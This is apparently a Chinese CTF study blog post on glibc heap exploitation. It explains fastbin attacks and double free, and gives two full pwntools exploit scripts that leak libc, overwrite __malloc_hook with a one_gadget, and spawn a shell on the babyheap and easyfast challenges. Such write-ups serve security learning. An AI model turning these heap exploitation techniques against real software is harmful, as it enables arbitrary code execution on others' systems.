fastbin_attack小记

fastbin_attack

[toc]

fastbin attack

首先要知道fastbinchunk的大小范围。

32位下,fastbin chunk的范围是16字节 - 64字节(0x10 - 0x40)

64位下,fastbin chunk的范围是32字节-128字节(0x20 - 0x80)

注意,这是加上header的大小。

fastbin方法流程比较简单,即通过某种手段能够控制fastbin中的chunkfd指针时,将其指向一个想要往其写入数据的地方,这样再次malloc这个大小的chunk的时候就可以将这个地方分配为chunk,达到任意地址写的效果。但是条件如下:

  • fake chunk 的 ISMMAP 位不能为 1,因为 free 时,如果是 mmap 的 chunk,会单独处理。
  • fake chunk 地址需要对齐, MALLOC_ALIGN_MASK
  • fake chunk 的 size 大小需要满足对应的 fastbin 的需求,同时也得对齐。
  • fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ,同时也不能大于av->system_mem
  • fake chunk 对应的 fastbin 链表头部不能是该 fake chunk,即不能构成 double free 的情况。

要注意,被指向的地方的chunk header中的size必须满足fastbin的要求,即大小和fastbin中指向该fake chunkchunk大小相同。若无法直接找到,可以利用地址偏移一些来寻找,也可以借助工具,比如pwndbg中可以使用find_fast_chunk addr来寻找一个可以覆盖掉addr地址的chunk

例题是0ctf_2017_nanyheap:

整体思路是使用unsort bin泄露main_arenaunsort bin在只有一个chunk的时候fdbk都指向main_arena的某个固定偏移处),再通过main_arena计算偏移得到libc和其他函数地址。

之后使用fastbin attack来向__malloc_hook中写入one_gadget算出来的gadget即可。注意,本来malloc_hook前是没有明显的可以分配的fastbin大小的chunk的,但是可以通过小部分偏移来得到刚好可以覆盖掉__malloc_hookchunk,此处在pwngdb使用命令find_fast_chunk &__malloc_hook即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
# value
# size
# pointer -> malloc(size)
from pwn import *
from LibcSearcher import *

filename = './0ctf_2017_babyheap'
context(log_level='debug')
local = 1
elf = ELF(filename)
# libc = ELF('./libc.so.6')
# libc = ELF('/home/ltfall/Desktop/pwn/buuctf_libc/ubuntu16_64/libc-2.23.so')

if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', 25212)

def debug():
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()

def allocate(size):
sh.sendlineafter(': ', '1')
sh.sendlineafter(': ', str(size))

def fill(index, size, content):
sh.sendlineafter(': ', '2')
sh.sendlineafter(': ', str(index))
sh.sendlineafter(': ', str(size))
sh.sendafter(': ', content)

def free(index):
sh.sendlineafter(': ', '3')
sh.sendlineafter(': ', str(index))

def dump(index):
sh.sendlineafter(': ', '4')
sh.sendlineafter(': ', str(index))

# 首先申请三个0x80的chunk,大概思路是先free第1个chunk,然后通过第0个chunk溢出修改第1个chunk的head,让OS误认为chunk1的大小是chunk1+chunk2
# 此时申请回chunk1,但是chunk1此时就是chunk1+chunk2两个块重合了,然后因为题目里面是calloc,因此将变成0的恢复,然后free掉chunk2,chunk2将会被添加到unsortbin
# 因此chunk2的fd和bk都会指向main_arena,此时打印chunk1,打印的实际上是chunk1+chunk2两个块,因此可以打印出chunk2的fd和bk,并由此得出&main_arena、libc_addr。
allocate(0x80)
allocate(0x80)
allocate(0x80)
allocate(0x20) # 没有这个 做不出来 挺怪的
free(1)
fill(0, 0x90, b'a'*0x80 + p64(0) + p64(0x121))
allocate(0x110)
payload = b'a'*0x80 + p64(0) + p64(0x91) + b'c'*0x80
fill(1, len(payload), payload)
free(2)
dump(1)
main_arena = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x58
info('the addr of main_arena is {}'.format(hex(main_arena)))
libc_addr = main_arena - 0x3c4b20
info('the libc addr is {}'.format(hex(libc_addr)))
fake_chunk_addr = libc_addr + 0x3c4aed
info('the fake_chunk_addr is {}'.format(hex(fake_chunk_addr)))
malloc_hook = libc_addr + 0x3c4b10
info('the addr of malloc_hook is {}'.format(hex(malloc_hook)))

# 接下来是fastbin attack
allocate(0x80) # 还原
# 此时到这里 前面几个chunk不管了 接下来是以chunk4开始的fast bin大小的chunk
allocate(0x60) # chunk4
allocate(0x60) # chunk5
free(5)
payload = b'd'*0x60 + p64(0x70) + p64(0x71) + p64(fake_chunk_addr)
fill(4, len(payload), payload)
allocate(0x60) # 还是chunk5
allocate(0x60) # chunk6

one_gadget = 0x4526a
payload = b'a'*(0x23 - 0x10) + p64(libc_addr + one_gadget)
fill(6, len(payload), payload)

allocate(0x10)
sh.interactive()
PYTHON

Double Free

顾名思义,也就是将一个已经在fastbins里面的chunk再次添加到fastbins里面去,添加完成后就会有两个同样的chunk在一个bins里面。

比如:

1
2
3
4
5
6
void* chunk1 = malloc(0x10);
void* chunk2 = malloc(0x10);

free(chunk1);
free(chunk2);
free(chunk1);
C

这样一来,在fastbins的大小为0x20bin中,就会有:

因为chunk1指向chunk2,因此最右边的chunk1也会指向chunk2

值得注意的是,fastbin会对直接与main arena连接的chunk进行检查,因此必须借助第二个chunk才可以让两个一样的chunk都在同一个bins里面。

有什么用呢?

若此时我们再申请一个chunk,那么左边的chunk1将会被申请到,若我们能够修改chunk1,便相当于修改了还在fastbins里面的右边的chunkfd指针。如此以来,若当目前在fastbins里面的chunk都被free了,由于最右边的那个chunk1fd指针是我们设计的值,那么接下来再进行malloc操作时,便会将我们设计的值作为地址,将我们指定的地址作为一个chunk返回给我们。相当于是实现了一个任意地址写的功能。

但没有那么简单,我们设计的值作为地址的地方要作为chunk返回,必须要满足一个条件,即这个chunksize值必须和bins单链表里面的其他chunk相同。这样一来就没有问题了。

例题wustctf2020_easyfast

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# uaf漏洞,借助了0x602088处的有一个50的值,因为double free任意写的chunk的size必须和分配的相等,不然报错。

from pwn import *

context(log_level='debug')

elf = ELF('./wustctf2020_easyfast')
# sh = process('./wustctf2020_easyfast')
sh = remote('node4.buuoj.cn', 27643)

def debug():
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()

def add(size):
sh.recvuntil('choice>\n')
sh.sendline('1')
sh.recvuntil('size>\n')
sh.sendline(str(size))

def delete(index):
sh.sendlineafter('choice>\n', '2')
sh.sendlineafter('index>\n', str(index))

def modify(index, content):
sh.sendlineafter('choice>\n', '3')
sh.sendlineafter('index>\n', str(index))
sh.send(content)

add(0x40)
add(0x40)

delete(0)
delete(1)
delete(0)

modify(0, p64(0x602080))

# debug()
add(0x40)
add(0x40)

modify(3, p64(0))

sh.recvuntil('>\n')
sh.sendline('4')

sh.interactive()
PYTHON


fastbin_attack小记
http://example.com/2023/09/23/system/Heap/fastbin_attack/
作者
Ltfall
发布于
2023年9月23日
许可协议